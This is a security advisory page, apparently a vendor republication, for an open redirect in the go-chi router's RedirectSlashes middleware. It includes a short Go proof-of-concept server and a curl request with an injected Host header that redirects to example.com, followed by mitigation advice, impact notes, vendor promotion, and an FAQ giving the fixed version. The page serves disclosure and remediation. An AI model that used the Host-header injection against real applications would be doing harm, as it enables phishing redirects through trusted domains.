Summary
chi Allows Host Header Injection which Leads to Open Redirect in RedirectSlashes
The RedirectSlashes function in middleware/strip.go is vulnerable to host header injection which leads to open redirect.
We consider this a lower-severity open redirect, as it can't be exploited from browsers or email clients (requires manipulation of a Host header).
Details
The RedirectSlashes method uses the Host header to construct the redirectURL at this line https://github.com/go-chi/chi/blob/master/middleware/strip.go#L55
The Host header can be manipulated by a user to be any arbitrary host. This leads to open redirect when using the RedirectSlashes middleware
PoC
Create a simple server which uses the RedirectSlashes middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware" // Import the middleware package
)
func main() {
// Create a new Chi router
r := chi.NewRouter()
// Use the built-in RedirectSlashes middleware
r.Use(middleware.RedirectSlashes) // Use middleware.RedirectSlashes
// Define a route handler
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
// A simple response
w.Write([]byte("Hello, World!"))
})
// Start the server
fmt.Println("Starting server on :8080")
http.ListenAndServe(":8080", r)
}
Run the server go run main.go
Once the server is running, send a request that will trigger the RedirectSlashes function with an arbitrary Host headercurl -iL -H "Host: example.com" http://localhost:8080/test/
Observe that the request will be redirected to example.com
curl -L -H "Host: example.com" http://localhost:8080/test/
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
... snipped ...
Without the host header, the response is returned from the test server
curl -L http://localhost:8080/test/
404 page not found
Potential mitigation
It seems that the purpose of the RedirectSlashes function is to redirect within the same application. In that case r.RequestURI can be used instead of r.Host by default. If there is a use case to redirect to a different host, a flag can be added to use the Host header instead. As this flag will be controlled by the developer they will make the decision of allowing redirects to arbitrary hosts based on their judgement.
Impact
An open redirect vulnerability allows attackers to trick users into visiting malicious sites. This can lead to phishing attacks, credential theft, and malware distribution, as users trust the application’s domain while being redirected to harmful sites.
Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-VRW8-FXC6-2R93? GHSA-VRW8-FXC6-2R93 is a medium-severity open redirect vulnerability in github.com/go-chi/chi/v5 (go), affecting versions <= 5.2.1. It is fixed in 5.2.2. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
- Which versions of github.com/go-chi/chi/v5 are affected by GHSA-VRW8-FXC6-2R93? github.com/go-chi/chi/v5 (go) versions <= 5.2.1 is affected.
- Is there a fix for GHSA-VRW8-FXC6-2R93? Yes. GHSA-VRW8-FXC6-2R93 is fixed in 5.2.2. Upgrade to this version or later.
- Is GHSA-VRW8-FXC6-2R93 exploitable, and should I be worried? Whether GHSA-VRW8-FXC6-2R93 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-VRW8-FXC6-2R93 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-VRW8-FXC6-2R93? Upgrade
github.com/go-chi/chi/v5to 5.2.2 or later.